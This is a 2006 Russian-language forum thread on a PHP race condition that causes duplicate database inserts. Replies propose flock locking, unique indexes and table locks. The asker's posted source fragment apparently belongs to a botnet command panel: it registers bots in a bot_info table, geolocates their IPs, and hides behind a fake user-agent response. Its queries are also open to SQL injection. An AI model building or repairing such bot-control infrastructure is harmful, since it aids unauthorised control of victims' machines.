Консультация № 32679
04.01.2006, 22:59
0.00 руб.
0 13 6
Вопрос. Есть скрипт. Там идет след. проверка:
1. Вызов скрипта
2. Проверка, нет ли записи в БД
3. Если нет - добавить.
--
Вот тут косяк. Если скрипт вызывает сразу 2 раза /в одну и ту же секунду/ то пишится 2 записи... если же есть хотя бы 2-3 секунды паузы.. то все окей..

В чем может быть проблема. Может писать таймаут или как??

Приложение:

Обсуждение

Неизвестный
04.01.2006, 23:19
общий
это ответ
Здравствуйте, XMF!
БД какие, в текстовом файле??? Если бы вы использовали MySQL, то такого бы не было, т.к. выполняется всё очень быстро, буквально за тысячные доли секунды. Лучше разобраться с MySQL, так всё прозрачно и понятно. Я сам думал, что там очень сложно, но всего около нескольких часов затратил на понимание самой сути, а потом уже легко.....
Подробнее в поисковиках..... У меня даже сохранилась один линк.
http://www.spravkaweb.ru/download/chm/mysql_spravkaweb.rar
Неизвестный
05.01.2006, 10:43
общий
это ответ
Здравствуйте, XMF!
Единовременно выполнение только одной операци, и выполнение следующие только после освобождения файла. Mysql делает это сама, если включить (не помню что надо написать)... и собсвенно непонятно что за бд, так что уж сорь и ответ такой же.
Неизвестный
05.01.2006, 12:52
общий
это ответ
Здравствуйте, XMF!

А что если попробовать при старте скрипта задать ему случайную задержку?
Поставить что-то типа :
<?

sleep(rand(2,4));

...

...
?>
Тогда при запуске скрипта он будет автоматически ждать от 2х до 4х секунд (в данном примере) перед выполнением всех необходимых действий. Притом каждый запуск скрипта будет задерживаться по-разному. Если увеличить интервал - вероятность сбоя уменьшится.

Хотя данных для качественного ответа мало.
Неизвестный
05.01.2006, 13:13
общий
это ответ
Здравствуйте, XMF!
Вы зря наезжаете на Stamma. В данной ситуации он однозначно прокомментировал Вашу заморочку. Вы не указали тип БД. Это первое. Может у Вас Oracle. А второе, это то, что если бы, как Вы говорите, нормально шарили в БД, то не задавали бы таких вопросов как этот. Если у Вас не плоские файлы, то все современные БД работают с разделением времени. Вы можете хоть тысячу раз за секунду вызывать. Ищите ошибку в скриптах и настройках. Если у Вас плоские файлы, (которые к Вашему сведению работают, значительно быстрее БД, при больших объёмах данных, но имеют гораздо более сложный специализированный интерфейс; Google, например, не использует БД), то смотрите пример в приложении. Пример взят из книги Девида Скляра и Адама Трахтенберга "PHP-Сборник рецептов". Удачи.


Приложение:
$data_file = ‘/tmp/data‘;// open the file for reading and writing$fh = fopen($data_file,‘a+‘) or die($php_errormsg);rewind($fh) or die($php_errormsg);// get an exclusive lock on the file flock($fh,LOCK_EX) or die($php_errormsg);// read in and unserialize the data$serialized_data = fread($fh,filesize($data_file)) or die($php_errormsg);$data = unserialize($serialized_data);/* * do whatever you need to with $data ... */// reserialize the data $serialized_data = serialize($data);// clear out the filerewind($fh) or die($php_errormsg);ftruncate($fp,0) or die($php_errormsg);// write the data back to the file and release the lock if (-1 == (fwrite($fh,$serialized_data))) { die($php_errormsg); }fflush($fh) or die($php_errormsg);flock($fh,LOCK_UN) or die($php_errormsg);fclose($fh) or die($php_errormsg);
Неизвестный
05.01.2006, 14:12
общий
это ответ
Здравствуйте, XMF!
Может стоить создать уникальный индекс по тому полю, которое проверяется в пункте 2., тогда даже если оба скрипта одновременно захотят записать одно и то же значение, то первый это сделать сможет, а второй получит отказ.
А у вас получается, что в момент проверки записей еще нет (ведь оба экземпляра скрипта запустились примерно одновременно и ничего записать еще не успели), и оба приступают с чистой совестью к добавлению новой записи.
Неизвестный
05.01.2006, 14:40
общий
XMF. Да, можно было и без ругательств. Это очень низко и некрасиво. Писал бы конкретнее и исходник оставил бы в приложении........... Тогда было бы всё понятно и я тебе не отвечал по существу.
Неизвестный
05.01.2006, 15:28
общий
это ответ
Здравствуйте, XMF!

несколько вариантов -

1. блокировка таблицы средствами Базы Данных (не плохо было б в следующий раз писать и название БД)

2. использовать flock() для проверки, установки, снятия блокировки на какой нибудь файл и работать с базой только если блокировка на файл отсутствует и блокировка установленна самим процессом.
Неизвестный
05.01.2006, 15:54
общий
Исходники... ну могу только часть, потому как это заказ:---<?$ver="2.2";// 21:49 28.12.2005sleep(1);//include("config.php");if($config["common"]["user-agent"]!=$HTTP_USER_AGENT) { exit ("Powered my microsoft.com<!-- icq -->"); }... if($mode==‘HELLO‘) { $Country_sm = getIPinfo(D2LIP($REMOTE_ADDR), "cs"); $Country = getIPinfo(D2LIP($REMOTE_ADDR), "cn"); $Region = getIPinfo(D2LIP($REMOTE_ADDR), "on"); $Town = getIPinfo(D2LIP($REMOTE_ADDR), "tn"); $t=time(); $a=mysql_query("select * from bot_info where b_uid=‘$UID‘"); $a=mysql_num_rows($a); if($a==0) { mysql_query("insert into bot_info values (‘$UserName‘, ‘$UID‘,‘$CommandID‘,‘$BotVersion‘,‘$PlatformOS‘, ‘$REMOTE_ADDR‘, ‘$t‘, ‘$t‘, ‘$Country_sm‘, ‘$Country‘, ‘$Region‘,‘$Town‘)"); } else{//запись уже есть}....
Неизвестный
05.01.2006, 16:40
общий
Тут наверное трабла с настройками, проси свой хостер, чтобы они проверили MySQL.Несколько предложений:1)Попробуй закрой соединение с БД.mysql_close();2)Кстати, можно ещё сделать проверку на наличие двух одинаковых строк, после добавления записи
Неизвестный
05.01.2006, 17:14
общий
1. Хостер никогда ничего не должен.2. На разных хостингам одна и та же проблема.3. Проверка отпадает, так как предполагается, что скрипт будет вызываться часто...
Неизвестный
05.01.2006, 22:34
общий
Хостер обязан следить за настройкой MySQL, PHP и других дополнений.......
Неизвестный
06.01.2006, 16:57
общий
поставь в настройках таблицы для поля b_uid тип уникальный , это должно решить твою проблемму с двойными записямии делай сразу Insert , затем проверяй его успешность , если инсерт не возможен, то запись уже существует.
Неизвестный
06.01.2006, 17:34
общий
[i]>сам-то понял что написал? Сам себе противоречишьЯ отлично понял что написал и нисколько себе не противоречу. В первом абзаце описано решение вашей проблемы. Во втором - та ситуация, которая у вас сейчас.Если мой ответ вам все еще не понятен, обратитесь к высказыванию Дмитрия Иванова [06.01.2006, 19:57] - проще объяснить вряд ли получится.
Форма ответа